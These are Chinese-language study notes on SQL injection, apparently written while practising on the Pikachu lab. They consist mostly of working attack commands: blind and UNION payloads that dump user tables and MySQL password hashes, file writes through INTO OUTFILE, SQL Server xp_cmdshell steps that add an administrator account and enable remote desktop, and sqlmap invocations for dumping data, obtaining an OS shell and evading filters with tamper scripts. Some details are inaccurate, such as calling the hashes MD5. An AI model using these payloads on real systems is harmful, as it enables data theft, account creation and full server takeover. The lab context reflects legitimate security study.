sql注入
vince' and length(database()) = 1 # 猜测数据库名字长度
其中 =1 是可变的长度,这里是从1开始猜测数据库名字的长度。
vince' and ascii(substr(database(),1,1)) = 32#
在bp中的表现形式为:vince' and ascii(substr(database(),$1$,1)) = $32$#
第二个playload为:32-122(对应的ascii为空格-z)
在遇到magic_quotes_gqc()魔法方法时,所有的单引号,双引号,逗号,反斜杠等都会自动加上一个转义斜杠,用来防止sql注入,但是在高版本的phpstudy中这个魔法方法被删除了,用ini_get('magic_quotes_gpc') 的值判断来替代。所以就用宽字节注入,实现原理就是在/杠前面增加一个%df,这里有个前提,编码得是BGK,不能时UTF-8,否则失效。
在mysql中,数据表信息存储在mysql.information_schema中
1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#
1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='pikachu'#
这里的TABLE_NAME='pikachu'可以是其他的表名,这里只是查询了库名为pikachu
例如:httpinfo,member,message,users,xssblind
1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='pikachu' and TABLE_NAME = 'users'#
会查询出表中的字段,例如:id,username,password,level
1' union select 1,concat(id,'@',username,'@',password,'@',level) from pikachu.users limit 1,1#
1' union select 1,group_concat(concat(user,authentication_string)) from mysql.user#
5.7版本的密码字段是authentication_string,往前的版本的password
查询出的密码是md5加密后的,所以需要专门解密,而且有些复杂的密码还不能马上解密
在mysql安装目录下(默认安装的话大概位置在C:\ProgramData\MySQL\MySQL Server 5.7)找到my.ini文件,打开该文件,找到[mysqld],大概位置在76行,下增加 secure-file-priv = "" 即可开启
sudo chmod -R 775 '/usr/bin/mysql'
其中 '/usr/bin/mysql' 为mysql 的安装路径
select 要写入的数据 into outfile "路径名";
ALTER USER 'root'@'localhost' IDENTIFIED BY 'mysql';
set global validate_password_policy=0;
set global validate_password_length=1;
#在进入mysql的界面中输入以上代码降低mysql密码强度
validate_password_dictionary_file:用于验证密码强度的字典文件路径;
validate_password_length:密码最小长度,参数默认为8,它有最小值的限定;
validate_password_mixed_case_count:密码至少要包含的大写字母和小写字母的个数;
validate_password_number_count 密码至少要包含的数字个数;
validate_password_policy:密码强度等级检查;(默认是1,即MEDIUM)
validate_password_special_char_count:密码至少要包含的特殊字符个数;
在微软的数据库中普遍存在一张表sysobjects,可以用来判断使用的是否是微软的数据库
例如:注入网址 and exists(select * from sysobjects)
判断用户是否是sa权限,sa权限有个独特的功能,就是有xp_cmdshell,如果可以开启,则说明当前用户是sa权限,反之不是。
在sqlserver数据库中可以执行任意命令,也就是说 也可以往磁盘中写入文件,就有了安全隐患
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC
sp_configure 'xp_cmdshell',1;RECONFIGURE;--
比如说,增加新用户 ;exec master.. xp_cmdshell 'net user 用户名 密码 /add'
添加到管理员组 ;exec master.. xp_cmdshell 'net localgroup administrators 要添加的用户名 /add'
master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Termina
l Server', 'fDenyTSConnections', 'REG_DWORD',0;
获取当前数据库名称 要注入的url and db_name()=0--
加载器:https://github.com/AntSwordProject/AntSword-Loader
源码:https://github.com/AntSwordProject/antSword
参考csdn:https://blog.csdn.net/wangyuxiang946/article/details/131236510
查看所有数据库名:python3 sqlmap.py -u " " --batch --dbs
首先先用BP抓取到包,然后复制,写入一个文件,例如:1.txt
python3 sqlmap.py -r 1.txt --batch --dbs
-D 数据库名 --columns :查看表结构,类似于desc
查看你指定库表下的数据: -T 表名 --dump或者 --dump-all
python3 sqlmap.py -u "http://192.168.152.148/pikachu/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -batch -D pikachu -T users --dump
如果是--dump-all则是查看数据库下的所有表中的数据,此时就不需要指定表名了
首先用python3 sqlmap.py -r 1.txt --level 3 --risk 1 --is-dba 判断当前用户是不是管理员
python3 sqlmap.py -r 1.txt --level 3 --risk 1 --os-shell
不过执行这段命令后进入到webshell会生成两个文件:tmpbywmn.php(实现交互式) 与 tempukftw.php(生成的上传文件功能)
方法有很多种,例如:注入时采用大小写字母混合使用,采用编码等等
python3 sqlmap.py --tampder apostrophemak.py
其中apostrophemak.py是sqlmap中内置的方法